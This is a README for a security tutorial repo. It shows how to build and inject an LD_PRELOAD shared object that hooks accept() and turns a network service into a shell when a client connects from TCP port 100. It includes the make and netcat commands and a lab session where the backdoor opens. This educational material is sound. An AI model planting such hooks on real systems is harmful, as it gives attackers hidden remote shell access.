LD_PRELOAD-accept-backdoor

Code samples to go along with the blog post on how to create an LD_PRELOAD backdoor hooking accept()

Links to Tutorials

Blog: LD_PRELOAD: Making a Backdoor by Hijacking accept()

Overview

This repo is used to provide some code samples to go along side a tutorial in the Secure Ideas blog. This code repo will provide you with the code for:

• A simple What's My IP server binary target
• The LD_PRELOAD accept() backdoor code
• A make file to build it easily in a Kali VM.

The goal of this tutorial is to show how to use LD_PRELOAD to turn any process using accept() into a potential backdoor. The backdoor triggers when an attacker connects to the service from TCP port 100 and will turn the service into a shell instead.

Building The Code Using Make.

Once you clone the repo, simply change into the directory and run make or make all to build both the target and the LD_PRELOAD hijack shared object. The make file also includes a help option to show all of the build targets:

kali@kali:~$ make help
Default Target:
         all => Build standard non-debug builds of the accept_backdoor.so and whats_my_ip

What's My IP Targets:
         whats_my_ip => Build the whats_my_ip server application

Accept_Backdoor Targets:
         accept_backdoor.so => Build the standard non-debug build of the accept_backdoor.so
         accept_backdoor.so_debug => Build debug LD_PRELOAD accept_backdoor.so shared object.
         accept_backdoor.so_nocolor => Build non-colorized debug LD_PRELOAD accept_backdoor.so shared object.

Maintance Targets:
         clean => delete the binaries.

kali@kali:~$

Basic What's My IP Usage

Standard What's My IP build and usage:

kali@kali:~$ make whats_my_ip
gcc -O3 src/whats_my_ip.c -o whats_my_ip
kali@kali:~$ /whats_my_ip 

        ---===[ What's my IP Service ]===---

 [*] Server started on 0.0.0.0:1337
 [*] Client Connected: 127.0.0.1:37056
 [*] Client Connected: 127.0.0.1:37058
^C
 [*]Caught Ctrl+C, Shutting down the server..

kali@kali:~$

From another terminal, you can simple connect to the service using netcat to use it normally.

kali@kali:~$ nc 127.0.0.1 1337

 [*] IP Address: 127.0.0.1
 [*] Source Port: 37056

kali@kali:~$ nc 127.0.0.1 1337

 [*] IP Address: 127.0.0.1
 [*] Source Port: 37058

Building and injecting accept_backdoor.so

kali@kali:~$ make accept_backdoor.so          
gcc -O3 -FPIC -shared src/accept_backdoor.c -o accept_backdoor.so  -ldl
kali@kali:~$ D_PRELOAD=./accept_backdoor.so ./whats_my_ip

        ---===[ What's my IP Service ]===---

 [*] Server started on 0.0.0.0:1337

Then from another terminal, use netcat to connect to the services from TCP source port 100 to open the backdoor:

kali@kali:~$ nc 127.0.0.1 1337

 [*] IP Address: 127.0.0.1
 [*] Source Port: 37060
 
kali@kali:~$ sudo nc -p 100 127.0.0.1 1337
       _____ ______________  ______  ______
      / ___// ____/ ____/ / / / __ \/ ____/
      \__ \/ __/ / /   / / / / /_/ / __/   
     ___/ / /___/ /___/ /_/ / _, _/ /___   
    /____/_____/\____/\____/_/ |_/_____/   
                                           
        ________  _________   _____        
       /  _/ __ \/ ____/   | / ___/        
       / // / / / __/ / /| | \__ \         
     _/ // /_/ / /___/ ___ |___/ /         
    /___/_____/_____/_/  |_/____/          

 [+] Backdoor activated! Enjoy!

ls
total 44
-rw-r--r-- 1 kali kali  1216 May 18 10:55 Makefile
-rwxr-xr-x 1 kali kali 15768 May 18 10:59 accept_backdoor.so
drwxr-xr-x 2 kali kali  4096 May 17 14:50 src
-rwxr-xr-x 1 kali kali 16880 May 18 10:56 whats_my_ip
whoami
kali
exit

kali@kali:~$